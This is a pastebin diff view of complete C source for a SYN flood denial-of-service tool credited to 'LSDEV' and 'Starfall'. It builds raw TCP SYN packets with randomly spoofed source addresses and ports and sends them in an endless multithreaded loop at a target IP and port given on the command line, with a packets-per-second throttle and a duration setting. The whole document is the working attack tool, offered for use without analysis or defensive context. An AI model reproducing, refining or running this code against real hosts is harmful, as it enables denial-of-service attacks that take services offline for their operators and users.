View difference between Paste ID: VsvjFaKP and xZJubDMR

 #include <pthread.h>
 #include <unistd.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <sys/socket.h>
 #include <netinet/ip.h>
 #include <netinet/tcp.h>
 #include <time.h>
 #define MAX_PACKET_SIZE 4096
 #define PHI 0x9e3779b9
 
 static unsigned long int Q[4096], c = 362436;
 static unsigned int floodport;
 volatile int limiter;
 volatile unsigned int pps;
 volatile unsigned int sleeptime = 100;
 
 void init_rand(unsigned long int x)
 {
 	int i;
 	Q[0] = x;
 	Q[1] = x + PHI;
 	Q[2] = x + PHI + PHI;
 	for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 }
 unsigned long int rand_cmwc(void)
 {
 	unsigned long long int t, a = 18782LL;
 	static unsigned long int i = 4095;
 	unsigned long int x, r = 0xfffffffe;
 	i = (i + 1) & 4095;
 	t = a * Q[i] + c;
 	c = (t >> 32);
 	x = t + c;
 	if (x < c) {
 		x++;
 		c++;
 	}
 	return (Q[i] = r - x);
 }
 unsigned short csum (unsigned short *buf, int count)
 {
 	register unsigned long sum = 0;
 	while( count > 1 ) { sum += *buf++; count -= 2; }
 	if(count > 0) { sum += *(unsigned char *)buf; }
 	while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 	return (unsigned short)(~sum);
 }
 
 unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 
 	struct tcp_pseudo
 	{
 		unsigned long src_addr;
 		unsigned long dst_addr;
 		unsigned char zero;
 		unsigned char proto;
 		unsigned short length;
 	} pseudohead;
 	unsigned short total_len = iph->tot_len;
 	pseudohead.src_addr=iph->saddr;
 	pseudohead.dst_addr=iph->daddr;
 	pseudohead.zero=0;
 	pseudohead.proto=IPPROTO_TCP;
 	pseudohead.length=htons(sizeof(struct tcphdr));
 	int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 	unsigned short *tcp = malloc(totaltcp_len);
 	memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 	memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 	unsigned short output = csum(tcp,totaltcp_len);
 	free(tcp);
 	return output;
 }
 
 void setup_ip_header(struct iphdr *iph)
 {
         char ip[17];
         snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
 	iph->ihl = 5;
 	iph->version = 4;
 	iph->tos = 0;
 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 	iph->id = htonl(rand()%54321);
 	iph->frag_off = 0;
 	iph->ttl = MAXTTL;
 	iph->protocol = 6;
 	iph->check = 0;
 	iph->saddr = inet_addr(ip);
 }
 
 void setup_tcp_header(struct tcphdr *tcph)
 {
 	tcph->source = htons(rand()%65535);
 	tcph->seq = rand();
 	tcph->ack_seq = 0;
 	tcph->res2 = 0;
 	tcph->doff = 5;
 	tcph->syn = 1;
 	tcph->window = htonl(65535);
 	tcph->check = 0;
 	tcph->urg_ptr = 0;
 }
 
 void *flood(void *par1)
 {
 	char *td = (char *)par1;
 	char datagram[MAX_PACKET_SIZE];
 	struct iphdr *iph = (struct iphdr *)datagram;
 	struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
 
 	struct sockaddr_in sin;
 	sin.sin_family = AF_INET;
 	sin.sin_port = htons(floodport);
 	sin.sin_addr.s_addr = inet_addr(td);
 
 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 	if(s < 0){
 		fprintf(stderr, "Could not open raw socket.\n");
 		exit(-1);
 	}
 	memset(datagram, 0, MAX_PACKET_SIZE);
 	setup_ip_header(iph);
 	setup_tcp_header(tcph);
 
 	tcph->dest = htons(floodport);
 
 	iph->daddr = sin.sin_addr.s_addr;
 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
 
 	int tmp = 1;
 	const int *val = &tmp;
 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
 		fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
 		exit(-1);
 	}
 
 	init_rand(time(NULL));
 	register unsigned int i;
 	i = 0;
 	while(1){
 		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
 		setup_ip_header(iph);
 		setup_tcp_header(tcph);
 		iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
 		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
 
 
 		tcph->dest = htons(floodport);
 
 		iph->daddr = sin.sin_addr.s_addr;
 
 		iph->check = csum ((unsigned short *) datagram, iph->tot_len);
 		tcph->seq = rand_cmwc() & 0xFFFF;
 		tcph->source = htons(rand_cmwc() & 0xFFFF);
 		tcph->check = 0;
 		tcph->check = tcpcsum(iph, tcph);
 
 		pps++;
 		if(i >= limiter)
 		{
 			i = 0;
 			usleep(sleeptime);
 		}
 		i++;
 	}
 }
 int main(int argc, char *argv[ ])
 {
 	if(argc < 6){
 		fprintf(stderr, "Invalid parameters!\n");
 		fprintf(stdout, "SSYN Flooder by LSDEV\nImproved by Starfall\nUsage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
 		exit(-1);
 	}
         srand(time(0));
 	fprintf(stdout, "Tank: So what do you need? Besides a miracle.\nNeo: Packets. Lots of packets.\n");
 
 	int num_threads = atoi(argv[3]);
 	floodport = atoi(argv[2]);
 	int maxpps = atoi(argv[4]);
 	limiter = 0;
 	pps = 0;
 	pthread_t thread[num_threads];
 
 	int multiplier = 20;
 
 	int i;
 	for(i = 0;i<num_threads;i++){
 		pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
 	}
 	for(i = 0;i<(atoi(argv[5])*multiplier);i++)
 	{
 		usleep((1000/multiplier)*1000);
 		if((pps*multiplier) > maxpps)
 		{
 			if(1 > limiter)
 			{
 				sleeptime+=100;
 			} else {
 				limiter--;
 			}
 		} else {
 			limiter++;
 			if(sleeptime > 25)
 			{
 				sleeptime-=25;
 			} else {
 				sleeptime = 0;
 			}
 		}
 		pps = 0;
 	}
 
 	return 0;
 }